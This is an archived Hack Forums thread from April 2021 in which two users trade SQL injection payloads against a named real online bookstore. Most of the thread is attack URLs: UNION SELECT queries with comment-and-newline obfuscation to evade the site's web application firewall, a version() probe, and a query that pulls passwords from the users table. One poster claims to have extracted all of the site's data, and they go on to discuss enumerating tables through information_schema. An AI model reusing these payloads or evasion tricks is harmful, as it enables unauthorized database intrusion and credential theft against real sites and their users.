+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+----- Forum: SQL Injection Attacks (https://hackforums.net/forumdisplay.php?fid=103)
+----- Thread: Is there a way to extract the column data? (/showthread.php?tid=6149641)
Is there a way to extract the column data? - Hackme1983 - Apr 16, 2021
Is there a way to extract the column data?
Code
https://almashreqebookstore.com/booksingle.php?id=.1824 +UnIoN%23aa%0ASeLeCt 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--RE: Is there a way to extract the column data? - Fad3d_Anne - Apr 17, 2021
(Apr 16, 2021 09:04 PM)Hackme1983 Wrote: Is there a way to extract the column data?
Codehttps://almashreqebookstore.com/booksingle.php?id=.1824 +UnIoN%23aa%0ASeLeCt 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--
here you go:
https://almashreqebookstore.com/booksingle.php?id=-1824+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
+1,2,3,%23foo%0D%0AConcat(version())%23foo%0D%0A,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--
you can play with WAF's.
RE: Is there a way to extract the column data? - Hackme1983 - Apr 17, 2021
(Apr 17, 2021 08:40 AM)Fad3d_Anne Wrote: here you go:
https://almashreqebookstore.com/booksingle.php?id=-1824+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
+1,2,3,%23foo%0D%0AConcat(version())%23foo%0D%0A,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--
you can play with WAF's.
I mean table name and column name - hard waf
RE: Is there a way to extract the column data? - Fad3d_Anne - Apr 17, 2021
(Apr 17, 2021 06:26 PM)Hackme1983 Wrote: I mean table name and column name - hard waf
Yes, WAF on this site is hard. But I successfully pull all of their data. you can play different kind of WAF to evade the security.
RE: Is there a way to extract the column data? - Hackme1983 - Apr 18, 2021
(Apr 17, 2021 08:47 PM)Fad3d_Anne Wrote: Yes, WAF on this site is hard. But I successfully pull all of their data. you can play different kind of WAF to evade the security.
I get all data too like here
Code
/booksingle.php?id=.1824 +UnIoN%23aa%0ASeLeCt 1,2,3,password+from+users-- -I ask if u can inject with information_schema